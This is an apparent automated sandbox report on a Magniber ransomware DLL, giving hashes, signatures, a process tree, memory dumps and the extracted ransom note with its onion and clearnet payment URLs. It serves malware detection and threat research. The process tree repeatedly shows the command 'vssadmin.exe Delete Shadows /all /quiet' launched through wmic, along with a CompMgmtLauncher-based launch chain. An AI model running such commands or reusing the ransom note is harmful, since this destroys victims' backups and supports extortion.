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Overview

overview

10

Static

static

dc7be5c75c...04.dll

windows7_x64

10

dc7be5c75c...04.dll

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    15/09/2021, 10:39

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General

  • Target

    dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll

  • Size

    38KB

  • MD5

    57cc3140477c915e6202e6b1d2f8bb7e

  • SHA1

    69201178ee3bf8bc5b9f8212bb412c7f7a3aa3c0

  • SHA256

    dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204

  • SHA512

    47a0854b4640ba0d8ff69695a0f799af56362a801752a00ada96d1d876ab3f396d81be3ee511b36b2889f213656f2b126ea51077ca6e75cd630810dd20b6a91e

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://4c1c1818c4e08a40addihwvy.ypajgycpauisibmmq6en2xd6z6doiiwxitzhwbu2zmxfxwjcumvirbad.onion/ddihwvy Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://4c1c1818c4e08a40addihwvy.outwest.top/ddihwvy http://4c1c1818c4e08a40addihwvy.coldsum.space/ddihwvy http://4c1c1818c4e08a40addihwvy.datesat.site/ddihwvy http://4c1c1818c4e08a40addihwvy.outplea.xyz/ddihwvy Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://4c1c1818c4e08a40addihwvy.ypajgycpauisibmmq6en2xd6z6doiiwxitzhwbu2zmxfxwjcumvirbad.onion/ddihwvy

http://4c1c1818c4e08a40addihwvy.outwest.top/ddihwvy

http://4c1c1818c4e08a40addihwvy.coldsum.space/ddihwvy

http://4c1c1818c4e08a40addihwvy.datesat.site/ddihwvy

http://4c1c1818c4e08a40addihwvy.outplea.xyz/ddihwvy

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 12 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious use of SetThreadContext 3 IoCs
  • Interacts with shadow copies 2 TTPs 8 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll,#1
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\system32\wbem\wmic.exe
        C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
        3⤵
          PID:2568
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2580
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            4⤵
              PID:2632
        • C:\Windows\system32\wbem\wmic.exe
          C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
          2⤵
            PID:2228
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
            2⤵
              PID:2244
              • C:\Windows\system32\wbem\WMIC.exe
                C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                3⤵
                  PID:2200
            • C:\Windows\system32\Dwm.exe
              "C:\Windows\system32\Dwm.exe"
              1⤵
              • Modifies extensions of user files
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1180
              • C:\Windows\system32\notepad.exe
                notepad.exe C:\Users\Public\readme.txt
                2⤵
                • Opens file in notepad (likely ransom note)
                PID:856
              • C:\Windows\system32\cmd.exe
                cmd /c "start http://4c1c1818c4e08a40addihwvy.outwest.top/ddihwvy^&1^&47547702^&80^&343^&12"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1152
                • C:\Program Files\Internet Explorer\iexplore.exe
                  "C:\Program Files\Internet Explorer\iexplore.exe" http://4c1c1818c4e08a40addihwvy.outwest.top/ddihwvy&1&47547702&80&343&12
                  3⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:1616
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1616 CREDAT:275457 /prefetch:2
                    4⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:2204
              • C:\Windows\system32\wbem\wmic.exe
                C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:520
              • C:\Windows\system32\cmd.exe
                cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1012
                • C:\Windows\system32\wbem\WMIC.exe
                  C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:524
            • C:\Windows\system32\taskhost.exe
              "taskhost.exe"
              1⤵
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1128
              • C:\Windows\system32\wbem\wmic.exe
                C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
                2⤵
                  PID:2908
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2920
                  • C:\Windows\system32\wbem\WMIC.exe
                    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                    3⤵
                      PID:2984
                • C:\Windows\system32\cmd.exe
                  cmd /c CompMgmtLauncher.exe
                  1⤵
                  • Process spawned unexpected child process
                  • Suspicious use of WriteProcessMemory
                  PID:1196
                  • C:\Windows\system32\CompMgmtLauncher.exe
                    CompMgmtLauncher.exe
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1336
                    • C:\Windows\system32\wbem\wmic.exe
                      "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                      3⤵
                        PID:2152
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /all /quiet
                    1⤵
                    • Process spawned unexpected child process
                    • Interacts with shadow copies
                    PID:2012
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                      PID:1012
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2284
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:2680
                    • C:\Windows\system32\cmd.exe
                      cmd /c CompMgmtLauncher.exe
                      1⤵
                      • Process spawned unexpected child process
                      • Suspicious use of WriteProcessMemory
                      PID:2708
                      • C:\Windows\system32\CompMgmtLauncher.exe
                        CompMgmtLauncher.exe
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2756
                        • C:\Windows\system32\wbem\wmic.exe
                          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                          3⤵
                            PID:2796
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2848
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:3016
                      • C:\Windows\system32\cmd.exe
                        cmd /c CompMgmtLauncher.exe
                        1⤵
                        • Process spawned unexpected child process
                        • Suspicious use of WriteProcessMemory
                        PID:3044
                        • C:\Windows\system32\CompMgmtLauncher.exe
                          CompMgmtLauncher.exe
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1872
                          • C:\Windows\system32\wbem\wmic.exe
                            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                            3⤵
                              PID:436
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          PID:2112
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          PID:2376
                        • C:\Windows\system32\cmd.exe
                          cmd /c CompMgmtLauncher.exe
                          1⤵
                          • Process spawned unexpected child process
                          PID:2336
                          • C:\Windows\system32\CompMgmtLauncher.exe
                            CompMgmtLauncher.exe
                            2⤵
                              PID:212
                              • C:\Windows\system32\wbem\wmic.exe
                                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                                3⤵
                                  PID:920
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin.exe Delete Shadows /all /quiet
                              1⤵
                              • Process spawned unexpected child process
                              • Interacts with shadow copies
                              PID:972

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            • memory/856-69-0x000007FEFC2F1000-0x000007FEFC2F3000-memory.dmp

                              Filesize

                              8KB

                              Download

                            • memory/1128-66-0x0000000001CC0000-0x0000000001CC5000-memory.dmp

                              Filesize

                              20KB

                              Download

                            • memory/1204-53-0x0000000002A60000-0x0000000002A70000-memory.dmp

                              Filesize

                              64KB

                              Download

                            • memory/1512-64-0x0000000001B80000-0x0000000001B81000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-57-0x00000000001C0000-0x00000000001C1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-65-0x0000000001B90000-0x0000000001B91000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-67-0x0000000004130000-0x0000000004131000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-63-0x0000000001B70000-0x0000000001B71000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-62-0x0000000001B60000-0x0000000001B61000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-61-0x0000000000200000-0x0000000000201000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-60-0x00000000001F0000-0x00000000001F1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-59-0x00000000001E0000-0x00000000001E1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-58-0x00000000001D0000-0x00000000001D1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-55-0x00000000000A0000-0x00000000000A1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-54-0x0000000001DA0000-0x0000000002624000-memory.dmp

                              Filesize

                              8.5MB

                              Download

                            • memory/1512-56-0x00000000000B0000-0x00000000000B1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1512-104-0x0000000004150000-0x0000000004151000-memory.dmp

                              Filesize

                              4KB

                              Download